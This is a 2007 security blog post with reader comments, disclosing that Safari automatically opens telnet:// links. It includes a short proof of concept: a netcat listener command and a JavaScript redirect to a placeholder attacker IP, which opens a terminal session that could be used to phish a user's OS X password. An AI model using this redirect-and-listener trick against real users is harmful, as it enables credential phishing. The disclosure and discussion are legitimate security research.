Safari security

Friday, 16 November 2007

Well what do you do when you report a bug to Apple and the deny it is even a problem?

Turn it into a remote one.

What do you do when they don’t provide you with any credit whatsoever? Give up? Stop testing Safari? Or drink lots of coffee and red bull, stay up all night hacking the hell out of their browser? I went for the last one 🙂 You see Apple I don’t really care if you don’t provide me credit or not I just like hacking browsers 😛

Ok onto the fun. Apple seem to have some sort of security related breakdown because they allow the telnet protocol. On top of that they allow it to automatically connect and to any address. Yeah crazy eh? Can you see where this is going? 🙂 Take the following simple example:-

The attacker opens up a terminal on any remote machine:-
nc -vv -l -p 3000

The above command listens for incoming connections on port 3000. The attacker then tricks a user to visiting their evil web page:-

<script type="text/javascript">
// x.x.x.x = attackers remote ip
self.location = 'telnet://x.x.x.x:3000';
</script>

A connection is then established between the user and the attacker, the attacker can prompt the user to enter their OS X password etc, it may be even possible to execute a interactive shell. All not good I’m sure you’ll agree.

To make Safari secure simply select the Safari icon in applications and drag it to the waste bin.

The entry 'Safari security' was posted on November 16th, 2007 at 11:05 am and last modified on August 27th, 2009 at 3:09 pm, and is filed under browser hacking, safari, Security. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed.

13 Responses to “Safari security”

  1. Ronald writes:
    No. 1 — November 16th, 2007 at 11:38 am

    Yeah if you set up a daemon on the other side, you could even type on their screen if you like 😉 good stuff it is, and they should block that. Hats off for MSIE cause they did block all those uri schemes.

  2. Gareth Heyes writes:
    No. 2 — November 16th, 2007 at 11:42 am

    Yeah that’s the nc (netcat) command does in the example, I tried it with my mate and I could type on his screen 🙂

  3. .mario writes:
    No. 3 — November 16th, 2007 at 12:44 pm

    Nice find – but on the other hand a similar threat can be generated by any persistent/reflective XSS when using tools like Backframe or XSSProxy.

    Another prove why markup injections in websites must be avoided by developers like hell.

    Greetings,
    .mario

  4. Gareth Heyes writes:
    No. 4 — November 16th, 2007 at 12:47 pm

    Yeah but Apple should at least prompt the connection on telnet. I mean geez you can connect to any local/web address.

  5. pdp writes:
    No. 5 — November 16th, 2007 at 1:43 pm

    interesting, though I am not sure about the impact of this issue, unless you can pass commands to the telnet client.

  6. Gareth Heyes writes:
    No. 6 — November 16th, 2007 at 2:13 pm

    It’s pretty bad for phishing as it stands because it could prompt for the OS X password for example but I might find some more stuff in future because Apple has released a new update of Safari 🙂

  7. thorin writes:
    No. 7 — November 16th, 2007 at 4:19 pm

    Nice find Gareth.

  8. Gareth Heyes writes:
    No. 8 — November 16th, 2007 at 4:24 pm

    Cheers 🙂 it ain’t gonna stop there. I hold a grudge 🙂

  9. Marcin writes:
    No. 9 — November 16th, 2007 at 5:42 pm

    Haha, I love the remedy you prescribe. Good one! 🙂

  10. fnord writes:
    No. 10 — November 16th, 2007 at 7:14 pm

    Well, this is the same as if you use prefixes like aim:// or xmpp: and such. As long as you cannot get any execution or overwriting of files like the telnet://-nFile bug it’s completly useless for exploitation or phishing. I bet you don’t get one single person to type in a password that way.

    I personally don’t think that telnet needs to be handled that way in browsers at all, but it’s definitely not a critical bug.

  11. Gareth Heyes writes:
    No. 11 — November 16th, 2007 at 7:54 pm

    Erm no it’s not because the attacker can send and receive information to the user without confirmation.

  12. fnord writes:
    No. 12 — November 16th, 2007 at 11:22 pm

    You can receive data from a server, true. But it neither get saved on client side nor is there any execution (beside the start of a telnet session).

    I don’t see how the telnet client sends data to the server *without user interaction*. Every JS execution is far more dangerous than that.

  13. Gareth Heyes writes:
    No. 13 — November 16th, 2007 at 11:31 pm

    Well it opens a terminal window and an attacker can send data to that terminal window without the user doing anything. Did I say this was a really dangerous flaw?

    All I’m saying is that it shouldn’t be possible for an attacker to display a terminal window and send data to it because some users may provide data that they shouldn’t.

    I’m not hear to debate the seriousness of the flaw, I couldn’t care less I just enjoy finding unusual flaws. Discussion closed.

«
»